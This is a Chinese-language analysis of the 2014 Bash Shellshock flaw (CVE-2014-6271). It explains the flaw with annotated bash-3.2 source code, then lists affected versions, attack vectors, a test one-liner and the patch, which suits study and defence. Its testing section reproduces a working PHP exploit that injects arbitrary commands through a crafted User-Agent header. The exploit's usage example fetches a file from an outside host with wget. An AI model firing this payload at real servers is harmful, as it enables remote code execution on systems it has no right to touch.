1. 漏洞的起因
這個漏洞的起因源自於Bash(Bourne Again SHell)的ENV指令
http://ss64.com/bash/env.html
env: Display, set, or remove environment variables, Run a command in a modified environment.
Syntax env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...] 1. Options 1) -u NAME 2) --unset=NAME Remove variable NAME from the environment, if it was in the environment. 3) -i --ignore-environment Start with an empty environment, ignoring the inherited environment. 2. COMMAND [ARGS] 需要執行的指令
對這個指令,有兩個關鍵點要注意
1. ENV指令允許臨時改變環境變量,即指定本次指令執行的環境變量,這從一定程度上給了黑客進行PATH Hajaking的可能性 2. ENV指令還允許在設置環境變量後進行指令執行,從某種程度上來說,ENV相當於一個指令執行的指令,同時還附帶有臨時設置環境變量的功能
Relevant Link:
http://ss64.com/bash/env.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 http://seclists.org/oss-sec/2014/q3/651 https://access.redhat.com/node/1200223
http://seclists.org/oss-sec/2014/q3/650 https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271
https://access.redhat.com/articles/1200223
https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
http://www.exploit-db.com/exploits/34766/
http://www.oschina.net/news/55581/gitlab-shell-and-bash-cve-2014-6271
2. 漏洞原理分析
雖然ENV是一個指令執行的指令,但是這並不是這次CVE漏洞的產生原因,原因在於
ENV的指令執行走的是正常的BASH指令解析、執行流程,而在一個採取了安全配置的服務器上,對敏感指令的執行都是進行用戶級別的權限限制的,所以,ENV本身並不是任意指令執行。真正導致命令任意執行的原因是"Code Injection",即代碼注入
Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.
我們以bash-3.2版本的源代碼爲例進行分析
http://download.chinaunix.net/download.php?id=24862&ResourceID=7
\bash-3.2\builtins\evalstring.c
... if (interactive_shell == 0 && read_but_dont_execute) { last_result = EXECUTION_SUCCESS; dispose_command (global_command); global_command = (COMMAND *)NULL; } else if (command = global_command) { struct fd_bitmap *bitmap; /* 這裏沒有對傳入的command進行正確的邊界檢查,引入了代碼注入的可能性 */ bitmap = new_fd_bitmap (FD_BITMAP_SIZE); begin_unwind_frame ("pe_dispose"); add_unwind_protect (dispose_fd_bitmap, bitmap); add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL; ...
\bash-3.2\variables.c
這個文件負責對bash中的變量進行解析,我們在ENV中進行的臨時環境變量設置,將在這個文件中完成
/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from ENV or parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode; { ... create_variable_tables (); /* 從ENV環境變量中獲取參數 */ for (string_index = 0; string = env[string_index++]; ) { char_index = 0; name = string; while ((c = *string++) && c != '=') ; if (string[-1] == '=') char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a string without an `=', just skip them. */ if (char_index == 0) continue; /* ASSERT(name[char_index] == '=') */ name[char_index] = '\0'; /* Now, name = env variable name, string = env variable value, and char_index == strlen (name) */ /* If exported function, define it now. Don't import functions from the environment in privileged mode. 解析環境變量設置中的函數定義 */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { string_length = strlen (string); temp_string = (char *)xmalloc (3 + string_length + char_index); strcpy (temp_string, name); temp_string[char_index] = ' '; strcpy (temp_string + char_index + 1, string); /* 這句是關鍵,initialize_shell_variables對環境變量中的代碼進行了執行,由於它錯誤的信任的外部發送的數據,形成了和SQL注入類似的場景,這句代碼和PHP中的eval是類似的,黑客只要滿足2個條件 1. 控制發送的參數,並在其中拼接payload 2. 黑客發送的包含payload的參數會被無條件的執行,而執行方不進行任何的邊界檢查 這就是典型的數據和代碼沒有進行正確區分導致的漏洞 */ parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); // Ancient backwards compatibility. Old versions of bash exported functions like name()=() {...} if (name[char_index - 1] == ')' && name[char_index - 2] == '(') name[char_index - 2] = '\0'; if (temp_var = find_function (name)) { VSETATTR (temp_var, (att_exported|att_imported)); array_needs_making = 1; } else report_error (_("error importing function definition for `%s'"), name); /* ( */ if (name[char_index - 1] == ')' && name[char_index - 2] == '\0') name[char_index - 2] = '('; /* ) */ } } }
從這個角度來看,這種漏洞應該採用防禦SQL注入的思路來進行,對漏洞原理進行一下總結
1. bash(本地、ssh、cgi)允許使用ENV進行path臨時設置 2. 黑客通過自定義函數,並導出到變量中 3. BASH對環境變量的設置是通過"代碼執行(EVAl)"完成的,即把ENV的參數當成code來執行,這在正常情況下是沒有問題的 4. 問題的關鍵是BASH沒有對傳入的參數進行正確的邊界檢查,導致數據和代碼的混雜,產生了和PHP EVAL Code InJection類似的漏洞 env x='() { :;}; echo vulnerable' 5. 代碼注入的關鍵點在 ; echo vulnerable
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
3. 漏洞的影響範圍
這個漏洞屬於代碼級漏洞,所以漏洞的影響範圍和Bash的源代碼版本有關
bash-4.2.45-5.el7_0.2 bash-4.1.2-15.el6_5.1 bash-4.1.2-15.el6_5.1.sjis.1 bash-4.1.2-9.el6_2.1 bash-4.1.2-15.el6_4.1 bash-3.2-33.el5.1 bash-3.2-33.el5_11.1.sjis.1 bash-3.2-24.el5_6.1 bash-3.2-32.el5_9.2 bash-3.0-27.el4.2
4. 漏洞的POC、測試方法
0x1: 攻擊的場景
要發動這個攻擊,需要滿足以下幾個條件
1. 我們的攻擊目標存在cmd執行的交互接口 1) 本地交互shell:這是最直接的方式 2) SSH:使用SSH進行bash執行需要你知道對方的ssh帳號密碼 3) FTP:需要對方開啓了ftp cms的執行權限,已經你已經有了一個ftp的帳號密碼 4) cgi:需要對方開啓了CGI的解析模塊 2. 我們有辦法設置目標(或者臨時設置)的環境變量 3. 我們可以控制即將進行環境變量設置的參數
根據這些先決條件,我們可以得到一些攻擊向量
1. httpd 1) webserver常常將Referer、UserAgent、header等參數作爲環境變量的設置源 2) 服務器提供了CGI腳本,當 CGI script被webserver執行的時候,CGI Script會去調用Bash 黑客可以通過開啓了CGI的httpd服務器進行遠程代碼執行 2. Secure Shell (SSH) 對於git、rsync這類遠程shell來說,常常會對用戶可以執行的指令進行嚴格限制,但是這個BASH解析漏洞提供了一個bypass的向量 3. dhclient 動態主機配置協議客戶端(dhclient的)被用來通過DHCP自動獲取網絡配置信息。該客戶端使用不同的環境變量和運行bash來配置網絡接口。連接到一個惡意的DHCP服務器可能允許攻擊者在客戶機上運行任意代碼。 黑客通過在域中的DHCP服務器中對DHCP的回送包進行特定的修改,可以達到污染dhcpclient的環境變量參數的目的,從而進行遠程代碼執行 4. CUPS 5. sudo 6. Firefox
0x2: 手工測試方法
poc: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" expected result: vulnerable this is a test //如果出現這個結果,則說明本機的bash存在漏洞
0x3: 自動化測試方法
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash echo "Content-type: text/html" echo "" echo "Bash-is-Vulnerable" */ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n"); } $url = $x['u']; $cmd = $x['c']; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) die("Command sent to the server!\n"); else die("Connection Error\n"); ?>
Relevant Link:
http://www.exploit-db.com/exploits/34766/
5. 漏洞的修復Patch
從攻擊方法上來看,這種漏洞屬於邊界檢查缺失導致的代碼注入漏洞,所以我們的修復思路也應該從這兩個方面入手
1. 進行正確的邊界檢查,嚴格區分函數定義和代碼注入 2. 對輸入參數進行參數化防禦,不允許除了允許範圍之外的參數傳入
builtins/common.h
/* Flags for describe_command, shared between type.def and command.def */ #define SEVAL_FUNCDEF 0x080 /* only allow function definitions */ #define SEVAL_ONECMD 0x100 /* only allow a single command */
builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning ("%s: ignoring function definition attempt", from_file); should_jump_to_top_level = 0; last_result = last_command_exit_value = EX_BADUSAGE; break; } .. if (flags & SEVAL_ONECMD) break;
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
Copyright (c) 2014 LittleHann All rights reserved
本文轉自 http://www.cnblogs.com/LittleHann/p/3992778.html